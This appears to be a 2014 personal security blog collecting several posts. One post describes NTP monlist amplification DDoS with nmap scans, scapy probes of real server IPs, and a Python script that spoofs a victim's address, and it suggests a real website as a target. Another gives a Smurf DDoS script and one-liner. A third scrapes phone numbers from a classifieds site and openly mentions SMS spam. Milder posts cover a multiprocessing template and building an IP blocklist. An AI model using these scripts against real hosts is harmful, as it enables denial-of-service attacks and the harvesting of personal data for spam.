Tuesday, August 26, 2014

Amplified Denial of Service with Network Time Protocol (NTP)

Really, i don't know if i should write it here, but I think it will help the Internet to become more secure.

In next lines, I will find some NTP servers that can be used for Amplified Denial of Service attack.

What does that mean, Amplification? You send couple of bytes, and get response of thousand bytes.
NTP Servers for example. You can request from one, last 600 clients that used that server. You send one request, and as response you get tons of info.

If you will spoof senders IP, response will be received by spoofed IP. So, when you do that many times, you will eat all bandwidth of your target with UDP responses. DoS.

For example, you want that website like www.hamasinfo.net will go down for some time... Get his IP, spoof it in NTP request and woala! The problem to do so, is to find unpatched NTP servers online.

Really? Use nmap.

Take your provider's IP-Range (for example. you can choose another range), and scan it for open UDP 123 port.
# nmap -p123 -sU -n -Pn --open -oG ntp-servers.txt <your_target/netmask>
Trust me, it will find a lot of NTP servers online. Next, you will need to check them if they support 'monlist' request

I don't know the technique of verification, but you can notice some difference in NTP server responses. Patched NTP server will return one small packet, another will return a lot of packets ~500bytes each one. 

Let's take two servers (maybe they will be offline when you try):
46.120.209.165 - Patched
46.120.212.96 - Unpached

Trying patched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.209.165')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=76 id=0 flags=DF frag=0L ttl=48 proto=udp chksum
=0x9ca6 src=46.120.209.165 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=489
47 len=56 chksum=0xc08f |<Raw  load='\x1c\x00\x04\xfa\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
xd7\xa6\x80~\x00\x00\x00\x00\xd7\xa6\x80~\x00\x00\x00\x00' |>>>
Trying unpatched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.212.96')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=468 id=41631 flags=DF frag=0L ttl=48 proto=udp ch
ksum=0xf5c3 src=46.120.212.96 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=4
8947 len=448 chksum=0xb60b |<Raw  load='\xd7\x00\x03*\x00\x06\x00H\x00\x00\x01\xd8\x
00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\x02To\xcaX\xc0\xa8\x01\x0f\x00\x00\x00\x0
1\xbf3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x08s\x18n\x16\xb7\xc0
\xa8\x01\x0f\x00\x00\x00\x01\x0c\x02\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\xb8i\x8
br\xd24\x07\x02\x00\n\xa8\xe5\x00\t\xd4~\x00\x00\x01\x80\x00\x00\x00\x02\xb8i\x8bT\x
84E\x06\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00!\xba\xd8Fsu\xc0\
xa8\x01\x0f\x00\x00\x00\x01\x01\xbb\x07\x02\x00\x00\x00\x00\x00\x00\x00\x02\xb8i\x8b
N\xb8\x02\x07\x02\x00\x01\xfcK\x00\x0cw\xfa\x00\x00\x01\x80\x00\x00\x00\t]\xb4\x05\x
1a\xb1\x19\x07\x02\x00\x00\x00\x00\x00\x00\x00\xcb\x00\x00\x01\x80\x00\x00\x04\xb6\x
b1F`n\xc0\xa8\x01\x0f\x00\x00\x00\x01\x15\xb3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
3\xb8i\x8bJ\x92\x8e\x07\x02\x00\x00\x00\x00\x00\x0e\xd2Y\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd8%\x9fc\x07\x02\x00\x00\x00\x00\x00\x00\x01q\x00\x00\x01\x80\x00\x01>\x0
e%;\xb8t\xc0\xa8\x01\x0f\x00\x00\x00\x01\xa6C\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
1\xd4\xa4G\x94\x93Q\x07\x00\x00\x00\x00\x00\x00\x15F\xe4\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd88\x83\x7f\x07\x02\x00\x00\x00\x00\x00\x00\x01\x7f\x00\x00\x01\x80\x00\x
00&\xa5JHW^\xc0\xa8\x01\x0f\x00\x00\x00\x01\x00P\x07\x02\x00\x00\x00\x00\x00\x00\x00
\x02\xb8i\x8bV\xbb\xc1\x07\x02\x00\x00\x00\x00\x00\x1a4<\x00\x00\x01\x80\x00\x00\x00
\x01^f1\xa8\x00{\x07\x02' |>>>

The difference that i will use - packet length. If response length is greater (let say) 150, then the server supports 'monlist' request.  If you know a better way of verification, let me know in comments...
#!/usr/bin/env python
import sys
from scapy.all import *
from time import sleep
from threading import Thread,enumerate
import random

try:

   data=str("\x17\x00\x03\x2a") + str("\x00")*4   #monlist request

   #shell argument parsing
   if '--victim' in sys.argv:
      target = sys.argv[sys.argv.index('--victim') + 1]
   else:
      target = conf.route.routes[-1][-1]   #find out your IP address

   if '-f' in sys.argv:
      inputfile = sys.argv[sys.argv.index('-f') + 1]
   else:
      inputfile = sys.argv[1]

   def ntp_check(ntpserver,target):
      try:
         a = sr1(IP(dst=str(ntpserver),src=target)/UDP(sport=random.randomint(1024,65535),dport=123)/str(data), timeout=0.5, verbose=0)
         if a[IP].len > 150:
            print '%s is VULNERABLE' % ntpserver
      except:
         return
      
   with open(inputfile) as srv_list:
      for ntpserver in srv_list.read().split():
         try:
            t = Thread(target=ntp_check, args=(ntpserver,target))
            t.start()
         except:
            pass
      t.join()
      while len(enumerate()) > 1:
         sleep(0.1)
         
except:
   print '\n\tUsage: %s -f srv_list.txt [--victim ]\n' % sys.argv[0]
   print sys.exc_info()
If you understand what i've coded, you can easily upgrade this code with multiprocessing module, using multiprocessing template.

For those who owns unpatched NTP Servers, there are at least three ways to patch it:
1. Update ntpd to version 4.2.7p26. In FreeBSD update ports and install ntpd from net/ntp-devel.
2. Disable monlist in ntp.conf, adding a line:
disable monitor
3. Or disable any status queries in restrict default:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery

Maybe, you didn't know, that you server is accessible from outside :)

Wednesday, August 13, 2014

Multiprocessing Python Template.

Hi there.
Today I often use multiprocessing module, and i needed some template to write scripts a little faster..

Hope it will be useful to you.
#!/usr/bin/env python
#Multiprocessing template

from multiprocessing import Pool,cpu_count,active_children,Lock
import signal
from time import sleep
import sys


class TimeoutException(Exception):
    """ Simple Exception to be called on timeouts. """
    pass

def _timeout(signum, frame):
    """ Raise an TimeoutException.

    This is intended for use as a signal handler.
    The signum and frame arguments passed to this are ignored.

    """
    # Raise TimeoutException with system default timeout message
    raise TimeoutException()

# Set the handler for the SIGALRM signal:
signal.signal(signal.SIGALRM, _timeout)
# Send the SIGALRM signal in 10 seconds:

# Multiprocessing with KeyboardInterrupt
def init_worker():
        signal.signal(signal.SIGINT, signal.SIG_IGN)
        
        
        
def $$somefunc$$($$args$$):

        try:
                signal.alarm(5)                 #timeout exception
                
                $$do something$$
                
                return $$some data$$
        except Exception:
                pass
        except TimeoutException:
                print 'It timed out!'
        finally:
                signal.alarm(0) 


def main():
        try:
                def cb(data):
                        if data:
                                $$do something with returned data$$
                  
                pool = Pool(processes=cpu_count()*10, initializer=init_worker) #processes = CPU*10 = 40 (if 4 CPUs)
                
                for i in $$some_list$$:
                        pool.apply_async($$somefunc$$, ($$args$$,), callback=cb) #callback function defined above
                pool.close()

                #wait for worker processes completes job 
                while len(active_children()) > 1:
                        sleep(0.5)
                pool.join()
                return
                
        # ^C will kill all running processes and return to main function
        except KeyboardInterrupt:
                print " Terminating..."
                pool.close()
                pool.terminate()
                return
        else:
                print sys.exc_info()
                return


By the way, instead of callback() function, shared memory can be managed by Manager() module.

Manager module type support: list, dict, Namespace, Lock, RLock, Semaphore, BoundedSemaphore, Condition, Event, Queue, Value and Array.


Set as global variable:
manager = Manager.list()
lock = Lock()   #pass this lock to worker process

Call in running process:
with lock:   
   manager.append($$something$$)

#the lock is necessary, because of two processes can try to read the same value before editing it.


Maybe it's a mess for you, but maybe it will help.

Phone numbers harvesting from homeless.co.il website. (Python)

Hi there.
If you ever though about such a nasty thing like SMS spamming, you had need a phone number database to do that.
 
Or you just want to call them?

I will show you one technique to harvest phone numbers from... hmm http://www.homeless.co.il - that will be enough.

Let's say, you need all phone numbers that involved in real estate ok?
So, we go to the homeless web site, and see column called 'מכירה תיווך', and URL for that:

http://www.homeless.co.il/saletivuch/

If you look closer, you can find the 'details' section (לפרטים) on the left side of the ad.
If you click here, new popup window will be opened with link like:

http://www.homeless.co.il/SaleTivuch/viewad,367948.aspx


Something is coming to your head? Any thoughts?

All we need, is to grab all AD numbers from the main URL (including all secondary pages), and parse every VEWAD.URL for extracting phone numbers.

If you can see, there is not only one page of ads, there are about 130 pages.
The difference in URL: number of page is added after the main URL:

http://www.homeless.co.il/saletivuch/[1-10]

Let's do it automatically with python:
First of all, will determine how many pages we need to parse:

Take a closer look at the source:


Will extract total number of pages with BeautifulSoup library:
#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import re

path_name = 'saletivuch'

r = urllib2.urlopen('http://www.homeless.co.il/%s/' % path_name)
if r.code == 200:
   got_url = r.read()
   soup = BeautifulSoup(got_url)

   #determine how many pages we have to get:

   #In one line it will look like this:   
   #pages = [i.get('value') for i in BeautifulSoup(str(soup.find_all('select',{'id':'jump_page'}))).find_all('option')]

   #But i will write it in a more understandable format:   
   jump_page_id = str(soup.find_all('select',{'id':'jump_page'}))

   soup2 = BeautifulSoup(jump_page_id)
   pages = []

   for i in soup2.find_all('option'):
      pages.append(i.get('value'))
   print '%d pages to parse' % len(pages)
   

Let's extract ad.ID from every page:
 

   #get every ad.Number from every page:
   
   ads = []
   for i in pages:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/%s/%s' % (path_name,i))
         inner_url = r.read()
         soup = BeautifulSoup(inner_url)
         
         #one line will look like this:
         #ads += [r.get('id').split('_')[1] for r in soup.find_all('tr',{'class':'ad_details'})]

         for num in soup.find_all('tr',{'class':'ad_details'}):
            ads.append(num.get('id').split('_')[1])
            print 'Total ads collected: %d' % len(ads)
            
      # added ^C exception if you don't want to wait 130 pages :)      
      except KeyboardInterrupt:
         break
   print 'total ads collected: %d' % len(ads)


Extract phone numbers from '/viewad,XXXXXX.aspx' page:
There is no special 'class' or 'id' to lock on, so will grab them with regex:
   #Extract phone numbers from every AD.

   phones = []
   for i in ads:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/saletivuch/viewad,%s.aspx' % i)
         got_ad = r.read()

         #you should remember that re.findall() returns list of matches
         #so we can just extend the main list with new one

         phones += re.findall(r'\b0[2-9][0-9]?-?[0-9]{7}\b',got_ad)

         print 'Total phone numbers collected: %d' % len(phones)
      except KeyboardInterrupt:
         break
         
   for i in phones: print i,

Threading/Multiprocessing adding is necessary, otherwise you will wait a lot of time for job completion.

REMEMBER: SPAM IS ILLEGAL and I'm NOT responsible for how do you use the information covered in this post, or part of it!

Thursday, August 7, 2014

Creating a black-list of IP's for iptables. (Python)

Hi there.
Let's create a blacklist of IP's for iptables firewall. In Python.
Last week the homework was to create a black-list 'object' of IPSET for iptables firewall.

Really, don't know if someone of my classmates has done this, so i asked my teacher for if I can post it here. Maybe it will help someone to understand how to do that.

What we need to do, is to parse all IP addresses from sources below:

BAN-LISTS:
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt

http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
It's a simple algorithm:
1. Read URL's in loop.
2. Extract needed data
3. Append it to some list
4. Create new SET in IPSET (if needed)
5. Apply all data to IPSET 
 
When you take a look at the sources one-by-one, you can notice, that there are two variations of data to parse:
1. IP Address
2. IP Network

Fine. I think, the easiest way to extract this data is regular expressions (regex).

First what we need to do: list variable with allllll URL's:
Can be done with opening file, or just create a variable:
# Your links with blacklisted IP's
links = '''
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt
#http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
'''
 
Note, that there is one commented URL, this one is not working. You can delete it, or just parse '#' character. (see below)

Next, will load URL, and parse it.
I like Python Requests module, you can use urllib module:
import requests
from netaddr import *

ip_list = []

# Get & Extract IP addresses function
def geturl(i):
   try:
      global ip_list
      print 'Parsing \'%s\'' % i
      r = requests.get(i)
      
      #if status code 200
      if r.ok:
         ip_list += [IPNetwork(i) for i in re.findall(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/?[0-9]{1,2}?\b',r.content)]
   except:
      pass

Let me explain some BOLD points:

1. First of all, maybe you don't know how to make a for loop in one line: 

For example, next two pieces of code are identical:
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = []

for i in tuple_list:
   new_list.append(i[0])
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = [i[0] for i in tuples_list]

2. re.findall() method: It will return LIST type. So we can loop in it.
3. IPNetwork() is method from netaddr module, that will: 
    a) check if the IP Address is valid; 
    b) Append to it netmask /32 if single IP.
4. HTTP Status CODE. If you don't know what HTTP Status code is, you have a huge gap in your knowledge. Read here.
5. requests.get() method of requests module, that will load your URL. r.content = raw data from that URL
6. Last one is first one: global ip_list. This mean that in that specific function 'ip_list' variable will be global and not local variable.

Next:
# Get every URL in loop, IGNORE commented lines, extract every IP including subnet mask e.g. '1.1.1.1/32'

for i in links.split():
   if not i[0] == '#':      #ignore commented line
      geturl(i)
Pretty easy, huh?

And the last piece of code:
ip_list = cidr_merge(ip_list)
It is amazing function that will merge IP addresses to subnets!
For example: 1.1.1.0 and 1.1.1.1 will be merged to 1.1.1.0/31

About applying all the data to IPSET, but replace 'hash:ip' with 'hash:net'

For educational purposes I will not post FULL CODE. You can easily make your's from the examples above.

Good Luck. A.K.


P.S. Hope your list[] of knowledge has been .updated :)

Wednesday, August 6, 2014

Angry Smurfs. Distributed Denial-of-Service Attack

Today we've learned about network attacks. One of them was "Smurf Attack"

From Wiki:
The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia

On the lesson we writed a code in Python Scapy and I've done first:
#!/usr/bin/python

from scapy.all import *
import sys

def send_packet(a):
   send(IP(src=sys.argv[1],dst=a)/ICMP())
   
def main():

   a=arping('172.16.0.0/16',verbose=0)
   for i in a[0]:
      send_packet(i[0].pdst)

if __name__ == '__main__':
   main()
Just run it with target IP in parameter. For test purposes only :)

After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.

Challenge accepted! :) And the result:
>>>send(IP(src='172.16.100.100',dst=[i[0].pdst for i in arping('172.16.0.0/16')[0]])/ICMP()) 
Выкуси! :)